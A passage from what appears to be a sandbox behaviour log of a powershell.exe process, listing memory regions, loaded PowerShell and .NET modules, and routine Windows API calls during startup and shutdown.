"private_0x000007ffffeee000" filename = "" Region: id = 5988 start_va = 0x1be60000 end_va = 0x1bedffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001be60000" filename = "" Region: id = 5989 start_va = 0x7ffffeec000 end_va = 0x7ffffeedfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeec000" filename = "" Region: id = 5990 start_va = 0x1a700000 end_va = 0x1a73ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001a700000" filename = "" Region: id = 5991 start_va = 0x7ffffeea000 end_va = 0x7ffffeebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeea000" filename = "" Region: id = 5992 start_va = 0x1d20000 end_va = 0x1d2ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001d20000" filename = "" Region: id = 5993 start_va = 0x1d20000 end_va = 0x1d30fff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000001d20000" filename = "" Region: id = 5994 start_va = 0x1f50000 end_va = 0x1f8ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f50000" filename = "" Region: id = 5995 start_va = 0x7ffffee8000 end_va = 0x7ffffee9fff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffee8000" filename = "" Region: id = 5996 start_va = 0x1dc0000 end_va = 0x1dc1fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 5997 start_va = 0x1bee0000 end_va = 0x1cedffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bee0000" filename = "" Region: id = 5998 start_va = 0x1f90000 end_va = 0x1f91fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "powershellget.psd1" filename = "\\Program Files\\WindowsPowerShell\\Modules\\PowerShellGet\\1.0.0.1\\PowerShellGet.psd1" (normalized: "c:\\program files\\windowspowershell\\modules\\powershellget\\1.0.0.1\\powershellget.psd1") Region: id = 5999 start_va = 0x1bee0000 end_va = 0x1cedffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bee0000" filename = "" Region: id = 6000 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6001 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6002 start_va = 0x1dc0000 end_va = 0x1dc0fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 6003 start_va = 0x1bee0000 end_va = 0x1cedffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bee0000" filename = "" Region: id = 6004 start_va = 0x1f90000 end_va = 0x1f90fff monitored = 0 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.management.psd1" filename = "\\Windows\\System32\\WindowsPowerShell\\v1.0\\Modules\\Microsoft.PowerShell.Management\\Microsoft.PowerShell.Management.psd1" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\modules\\microsoft.powershell.management\\microsoft.powershell.management.psd1") Region: id = 6005 start_va = 0x1bee0000 end_va = 0x1cedffff monitored = 1 entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000001bee0000" filename = "" Region: id = 6006 start_va = 0x1be00000 end_va = 0x1be3ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001be00000" filename = "" Region: id = 6007 start_va = 0x7ffffeea000 end_va = 0x7ffffeebfff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007ffffeea000" filename = "" Region: id = 6008 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6009 start_va = 0x7fee8590000 end_va = 0x7fee87d5fff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "microsoft.powershell.commands.management.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\Microsoft.Pae3498d9#\\bd1ad2e61ff7ab103b15f56084b9bdd5\\Microsoft.PowerShell.Commands.Management.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\microsoft.pae3498d9#\\bd1ad2e61ff7ab103b15f56084b9bdd5\\microsoft.powershell.commands.management.ni.dll") Region: id = 6015 start_va = 0x7fef0210000 end_va = 0x7fef023cfff monitored = 1 entry_point = 0x0 region_type = mapped_file name = "system.configuration.install.ni.dll" filename = "\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Confe64a9051#\\120a0532577f871c2415502d9edacdd6\\System.Configuration.Install.ni.dll" (normalized: "c:\\windows\\assembly\\nativeimages_v4.0.30319_64\\system.confe64a9051#\\120a0532577f871c2415502d9edacdd6\\system.configuration.install.ni.dll") Region: id = 6016 start_va = 0x7fe8f060000 end_va = 0x7fe8f06ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000007fe8f060000" filename = "" Region: id = 6017 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6018 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 6019 start_va = 0x1fa0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 6020 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Region: id = 6021 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6022 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6023 start_va = 0x1bc90000 end_va = 0x1bccffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x000000001bc90000" filename = "" Region: id = 6024 start_va = 0x7fefcdb0000 end_va = 0x7fefcdbefff monitored = 0 entry_point = 0x7fefcdb19b0 region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 6025 start_va = 0x7fefc810000 end_va = 0x7fefc831fff monitored = 0 entry_point = 0x7fefc815d30 region_type = mapped_file name = "bcrypt.dll" filename = "\\Windows\\System32\\bcrypt.dll" (normalized: "c:\\windows\\system32\\bcrypt.dll") Region: id = 6026 start_va = 0x1dc0000 end_va = 0x1dcffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001dc0000" filename = "" Region: id = 6027 start_va = 0x1f90000 end_va = 0x1f9ffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001f90000" filename = "" Region: id = 6028 start_va = 0x1fa0000 end_va = 0x1faffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x0000000001fa0000" filename = "" Region: id = 6029 start_va = 0x20f0000 end_va = 0x20fffff monitored = 1 entry_point = 0x0 region_type = private name = "private_0x00000000020f0000" filename = "" Thread: id = 464 os_tid = 0x134 [0278.030] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x408 [0278.031] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x414 [0278.031] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x418 [0278.031] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x40c [0278.032] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x41c [0278.032] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x420 [0278.032] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x424 [0278.032] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x428 [0278.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x42c [0278.033] CreateEventW (lpEventAttributes=0x0, bManualReset=0, bInitialState=1, lpName=0x0) returned 0x430 [0278.033] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x434 [0278.034] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x438 [0278.034] SetEvent (hEvent=0x40c) returned 1 [0278.034] SetEvent (hEvent=0x408) returned 1 [0278.034] SetEvent (hEvent=0x414) returned 1 [0278.034] SetEvent (hEvent=0x418) returned 1 [0278.034] CreateEventW (lpEventAttributes=0x0, bManualReset=1, bInitialState=0, lpName=0x0) returned 0x43c [0278.035] SetEvent (hEvent=0x364) returned 1 [0278.075] SetEvent (hEvent=0x41c) returned 1 [0278.075] SetEvent (hEvent=0x420) returned 1 [0278.075] SetEvent (hEvent=0x424) returned 1 [0278.243] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x22bdc0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0278.244] CoTaskMemAlloc (cb=0x20c) returned 0x1adef430 [0278.244] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1adef430, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0278.245] CoTaskMemFree (pv=0x1adef430) [0278.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0278.245] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0278.254] GetCurrentProcess () returned 0xffffffffffffffff [0278.254] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c098 | out: TokenHandle=0x22c098*=0x448) returned 1 [0278.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x31 [0278.257] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", nBufferLength=0x31, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\", lpFilePart=0x0) returned 0x30 [0278.270] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x22c140 | out: lpFileInformation=0x22c140*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0278.271] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0278.271] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0278.272] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x22c138 | out: lpFileInformation=0x22c138*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0278.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0278.272] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", nBufferLength=0x46, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config", lpFilePart=0x0) returned 0x45 [0278.272] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x22bfd8) returned 1 [0278.272] CreateFileW (lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\Config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x44c [0278.272] GetFileType (hFile=0x44c) returned 0x1 [0278.272] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x22bf48) returned 1 [0278.272] GetFileType (hFile=0x44c) returned 0x1 [0278.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0278.379] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x46, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0278.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x46 [0278.380] GetFullPathNameW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", nBufferLength=0x46, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config", lpFilePart=0x0) returned 0x45 [0278.380] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x22ac28) returned 1 [0278.380] GetFileAttributesExW (in: lpFileName="C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\config\\machine.config" (normalized: "c:\\windows\\microsoft.net\\framework64\\v4.0.30319\\config\\machine.config"), fInfoLevelId=0x0, lpFileInformation=0x22af50 | out: lpFileInformation=0x22af50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f71f800, ftCreationTime.dwHighDateTime=0x1d4e4ec, ftLastAccessTime.dwLowDateTime=0xb9f350b0, ftLastAccessTime.dwHighDateTime=0x1d706ae, ftLastWriteTime.dwLowDateTime=0x2f71f800, ftLastWriteTime.dwHighDateTime=0x1d4e4ec, nFileSizeHigh=0x0, nFileSizeLow=0x8c8e)) returned 1 [0278.380] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x22abd8) returned 1 [0278.492] BCryptGetFipsAlgorithmMode (in: pfEnabled=0x22af00 | out: pfEnabled=0x22af00) returned 0x0 [0278.517] GetFileSize (in: hFile=0x44c, lpFileSizeHigh=0x22c078 | out: lpFileSizeHigh=0x22c078*=0x0) returned 0x8c8e [0278.517] ReadFile (in: hFile=0x44c, lpBuffer=0x29252b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bfe8, lpOverlapped=0x0 | out: lpBuffer=0x29252b0*, lpNumberOfBytesRead=0x22bfe8*=0x1000, lpOverlapped=0x0) returned 1 [0278.554] ReadFile (in: hFile=0x44c, lpBuffer=0x29252b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bdb8, lpOverlapped=0x0 | out: lpBuffer=0x29252b0*, lpNumberOfBytesRead=0x22bdb8*=0x1000, lpOverlapped=0x0) returned 1 [0278.557] ReadFile (in: hFile=0x44c, lpBuffer=0x29252b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bb88, lpOverlapped=0x0 | out: lpBuffer=0x29252b0*, lpNumberOfBytesRead=0x22bb88*=0x1000, lpOverlapped=0x0) returned 1 [0278.558] ReadFile (in: hFile=0x44c, lpBuffer=0x29252b0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bb88, lpOverlapped=0x0 | out: lpBuffer=0x29252b0*, lpNumberOfBytesRead=0x22bb88*=0x1000, lpOverlapped=0x0) returned 1 [0278.577] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bb88, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22bb88*=0x1000, lpOverlapped=0x0) returned 1 [0278.577] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22ba28, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22ba28*=0x1000, lpOverlapped=0x0) returned 1 [0278.585] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bc68, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22bc68*=0x1000, lpOverlapped=0x0) returned 1 [0278.586] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bb98, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22bb98*=0x1000, lpOverlapped=0x0) returned 1 [0278.586] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bb98, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22bb98*=0xc8e, lpOverlapped=0x0) returned 1 [0278.586] ReadFile (in: hFile=0x44c, lpBuffer=0x245e050, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x22bca8, lpOverlapped=0x0 | out: lpBuffer=0x245e050*, lpNumberOfBytesRead=0x22bca8*=0x0, lpOverlapped=0x0) returned 1 [0278.587] CloseHandle (hObject=0x44c) returned 1 [0278.587] CloseHandle (hObject=0x448) returned 1 [0278.587] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x105, lpBuffer=0x22bdf0, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0278.587] CoTaskMemAlloc (cb=0x20c) returned 0x1adef430 [0278.587] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x1adef430, nSize=0x104 | out: lpFilename="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe")) returned 0x39 [0278.588] CoTaskMemFree (pv=0x1adef430) [0278.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x3a [0278.588] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", nBufferLength=0x3a, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe", lpFilePart=0x0) returned 0x39 [0278.588] GetCurrentProcess () returned 0xffffffffffffffff [0278.588] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c258 | out: TokenHandle=0x22c258*=0x448) returned 1 [0278.589] CloseHandle (hObject=0x448) returned 1 [0278.592] GetCurrentProcess () returned 0xffffffffffffffff [0278.593] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c258 | out: TokenHandle=0x22c258*=0x448) returned 1 [0278.594] CloseHandle (hObject=0x448) returned 1 [0278.595] GetCurrentProcess () returned 0xffffffffffffffff [0278.596] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c098 | out: TokenHandle=0x22c098*=0x448) returned 1 [0278.596] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x22c140 | out: lpFileInformation=0x22c140*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0278.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x0, lpBuffer=0x0, lpFilePart=0x0 | out: lpBuffer=0x0, lpFilePart=0x0) returned 0x41 [0278.596] GetFullPathNameW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", nBufferLength=0x41, lpBuffer=0x402200, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config", lpFilePart=0x0) returned 0x40 [0278.597] GetFileAttributesExW (in: lpFileName="C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe.config" (normalized: "c:\\windows\\system32\\windowspowershell\\v1.0\\powershell.exe.config"), fInfoLevelId=0x0, lpFileInformation=0x22c138 | out: lpFileInformation=0x22c138*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 0 [0278.597] CloseHandle (hObject=0x448) returned 1 [0278.597] GetCurrentProcess () returned 0xffffffffffffffff [0278.598] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c258 | out: TokenHandle=0x22c258*=0x448) returned 1 [0278.598] CloseHandle (hObject=0x448) returned 1 [0278.599] GetCurrentProcess () returned 0xffffffffffffffff [0278.599] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22c258 | out: TokenHandle=0x22c258*=0x448) returned 1 [0278.600] CloseHandle (hObject=0x448) returned 1 [0278.611] GetCurrentProcess () returned 0xffffffffffffffff [0278.612] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22bf48 | out: TokenHandle=0x22bf48*=0x448) returned 1 [0278.634] CloseHandle (hObject=0x448) returned 1 [0278.634] GetCurrentProcess () returned 0xffffffffffffffff [0278.634] OpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x2000000, TokenHandle=0x22bf88 | out: TokenHandle=0x22bf88*=0x448) returned 1 [0278.636] CloseHandle (hObject=0x448) returned 1 [0278.647] CoCreateGuid (in: pguid=0x22c718 | out: pguid=0x22c718*(Data1=0x8715301b, Data2=0x3de8, Data3=0x4d9d, Data4=([0]=0x8b, [1]=0x26, [2]=0xa4, [3]=0xce, [4]=0xbe, [5]=0xb7, [6]=0x6a, [7]=0xc1))) returned 0x0 [0278.653] ReportEventW (hEventLog=0x1b0d0008, wType=0x4, wCategory=0x4, dwEventID=0x193, lpUserSid=0x0, wNumStrings=0x3, dwDataSize=0x0, lpStrings=0x2483ef8*="Stopped", lpRawData=0x2483d60) returned 1 [0278.669] SetEvent (hEvent=0x364) returned 1 [0278.717] CloseHandle (hObject=0x364) returned 1 [0278.920] SetConsoleCtrlHandler (HandlerRoutine=0x0, Add=0) returned 1 [0278.923] CoGetContextToken (in: pToken=0x22f640 | out: pToken=0x22f640) returned 0x0 [0278.923] CObjectContext::QueryInterface () returned 0x0 [0278.923] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.923] Release () returned 0x0 [0278.924] CoGetContextToken (in: pToken=0x22f0e0 | out: pToken=0x22f0e0) returned 0x0 [0278.924] CObjectContext::QueryInterface () returned 0x0 [0278.924] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.924] Release () returned 0x0 [0278.927] CoGetContextToken (in: pToken=0x22f0e0 | out: pToken=0x22f0e0) returned 0x0 [0278.927] CObjectContext::QueryInterface () returned 0x0 [0278.927] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.927] Release () returned 0x0 [0278.941] CoGetContextToken (in: pToken=0x22f0e0 | out: pToken=0x22f0e0) returned 0x0 [0278.941] CObjectContext::QueryInterface () returned 0x0 [0278.941] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.941] Release () returned 0x0 [0278.965] CoGetContextToken (in: pToken=0x22f100 | out: pToken=0x22f100) returned 0x0 [0278.965] CObjectContext::QueryInterface () returned 0x0 [0278.965] CObjectContext::GetCurrentThreadType () returned 0x0 [0278.965] Release () returned 0x0 [0278.966] CoUninitialize () Thread: id = 465 os_tid = 0xe78 Thread: id = 466 os_tid = 0xe74 [0275.460] RegCloseKey (hKey=0x360) returned 0x0 [0278.590] CloseHandle (hObject=0x35c) returned 1 [0278.590] CloseHandle (hObject=0x358) returned 1 [0278.590] CloseHandle (hObject=0x354) returned 1 [0278.590] CloseHandle (hObject=0x350) returned 1 [0278.590] CloseHandle (hObject=0x34c) returned 1 [0278.590] CloseHandle (hObject=0x348) returned 1 [0278.590] CloseHandle (hObject=0x344) returned 1 [0278.591] CloseHandle (hObject=0x340) returned 1 [0278.591] CloseHandle (hObject=0x33c) returned 1 [0278.591] CloseHandle (hObject=0x338) returned 1 [0278.591] CloseHandle (hObject=0x2ac) returned 1 [0278.591] CloseHandle (hObject=0x334) returned 1 [0278.591] CloseHandle (hObject=0x330) returned 1 [0278.591] CloseHandle (hObject=0x3f4) returned 1 [0278.591] CloseHandle (hObject=0x3f0) returned 1 [0278.592] CloseHandle (hObject=0x3ec) returned 1 [0278.592] CloseHandle (hObject=0x3e8) returned 1 [0278.592] CloseHandle (hObject=0x3d0) returned 1 [0278.593] CloseHandle (hObject=0x360) returned 1 [0278.593] CloseHandle (hObject=0x3fc) returned 1 [0278.593] CloseHandle (hObject=0x404) returned 1 [0278.593] CloseHandle (hObject=0x3f8) returned 1 [0278.594] CloseHandle (hObject=0x3c0) returned 1 [0278.925] EtwEventUnregister (RegHandle=0xc00010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0xd00010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x1900010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x1a00010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x1c00010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x1d00010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x2100010001) returned 0x0 [0278.925] EtwEventUnregister (RegHandle=0x2200010001) returned 0x0 [0278.932] EtwEventUnregister (RegHandle=0xe00010001) returned 0x0 [0278.935] CloseHandle (hObject=0x2b4) returned 1 